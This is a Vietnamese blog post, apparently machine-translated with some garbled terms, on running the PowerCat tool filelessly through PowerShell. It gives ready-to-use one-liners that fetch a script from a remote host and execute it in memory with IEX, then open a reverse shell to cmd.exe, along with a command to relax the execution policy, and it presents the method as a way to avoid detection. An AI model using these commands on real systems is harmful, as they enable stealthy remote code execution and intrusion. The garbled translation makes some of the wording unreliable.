Tuyên bố miễn trừ trách nhiệm: Bài viết này chủ yếu được sử dụng để chia sẻ kỹ thuật và tất cả nội dung chỉ mang tính chất tham khảo. Tôi không chịu trách nhiệm về bất kỳ hậu quả pháp lý nào do việc sử dụng hoặc dựa vào thông tin trong bài viết này gây ra. Người đọc nên tự đánh giá rủi ro và tuân thủ các luật và quy định có liên quan.

Thực thi không dùng tệp là một kỹ thuật được sử dụng để tránh để lại dấu vết tệp trên đĩa, khiến hành vi độc hại khó bị phát hiện hơn. PowerCat là một công cụ kiểm tra thâm nhập dựa trên PowerShell có thể sử dụng các tính năng của PowerShell để đạt được khả năng thực thi không dùng tệp.

1. Chuẩn bị tập lệnh PowerCat: Lưu trữ tập lệnh PowerCat trên máy chủ từ xa có thể truy cập, chẳng hạn như GitHub Gist, Pastebin hoặc máy chủ HTTP tự xây dựng.

2. Tải xuống và thực thi tập lệnh trực tiếp từ máy chủ từ xa bằng lệnh PowerShell:

   • sử dụng IEX(Gọi-Biểu thức) và Gọi-WebRequest hoặc Phương thức gọi-nghỉ ngơi Sự kết hợp có thể tải và thực thi các tập lệnh trực tiếp trong bộ nhớ.
   • Sau đây là lệnh mẫu để tải xuống và thực thi PowerCat từ máy chủ từ xa thông qua PowerShell:

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')

Hoặc sử dụng Invoke-RestMethod:

IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')

3. Thực thi các lệnh PowerCat: Sau khi nạp PowerCat vào bộ nhớ, sử dụng trực tiếp các chức năng do PowerCat cung cấp để tiến hành kiểm tra thâm nhập. Ví dụ: sử dụng PowerCat để thiết lập shell đảo ngược:

powercat -c target_ip -p target_port -e cmd.exe

Ví dụ hoàn chỉnh

Giả sử tập lệnh PowerCat được lưu trữ tại https://example.com/path/to/powercat.ps1:

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe

Lệnh này tải xuống và thực thi tập lệnh PowerCat trong bộ nhớ và ngay lập tức thiết lập kết nối shell ngược thông qua PowerCat.

Những điều cần lưu ý

• Bảo mật: Đảm bảo rằng máy chủ từ xa lưu trữ tập lệnh được an toàn để ngăn chặn việc giả mạo tập lệnh.

• Quyền: Chính sách thực thi PowerShell có thể hạn chế việc thực thi tập lệnh. Bạn cần chạy PowerShell với quyền quản trị viên hoặc điều chỉnh chính sách thực thi:

Quy trình phạm vi không giới hạn Set-ExecutionPolicy

• Phát hiện và bảo vệ: Mặc dù việc thực thi không dùng tệp có thể làm giảm khả năng bị phát hiện nhưng vẫn có các phương pháp phát hiện và phòng thủ khác, chẳng hạn như phát hiện dựa trên hành vi, do đó, nhiều phương pháp phải được xem xét trong thử nghiệm thâm nhập thực tế.

Thông qua các bước này, bạn có thể triển khai thực thi PowerCat không dùng tệp và trực tiếp tải xuống và thực thi các tập lệnh PowerCat trong bộ nhớ.

Thử nghiệm

Máy từ xa khởi động dịch vụ web để bên được kiểm soát tải xuống tập lệnh powercat.

Máy bay tấn công bật giám sát.

Thực hiện lệnh.

Kết thúc cuộc tấn công đã được nhận thành công.

Kiểm tra danh sách các tệp trong thư mục thực thi của thiết bị đầu cuối được điều khiển. Không có tệp powercat.ps1, có nghĩa là tệp không được thực thi trên mặt đất và được thực thi trực tiếp trong bộ nhớ.

Tất nhiên, ngoài việc sử dụng IEX để triển khai không dùng tệp, còn có 4 phương pháp khác có thể được sử dụng. Chào mừng bạn theo dõi tài khoản công khai "D1TASec" để xem bài viết.

Cuối cùng, bài viết này nói về kỹ năng thực thi không dùng tệp Powercat. Bạn có chắc chắn không muốn vào xem thử không? Bài viết này chỉ vậy thôi. Nếu bạn muốn biết thêm về các kỹ thuật triển khai không dùng tệp của Powercat, bạn có chắc chắn không muốn vào xem không? Về nội dung, vui lòng tìm kiếm các bài viết của CFSDN hoặc tiếp tục duyệt các bài viết liên quan. Tôi hy vọng bạn sẽ ủng hộ blog của tôi trong tương lai! .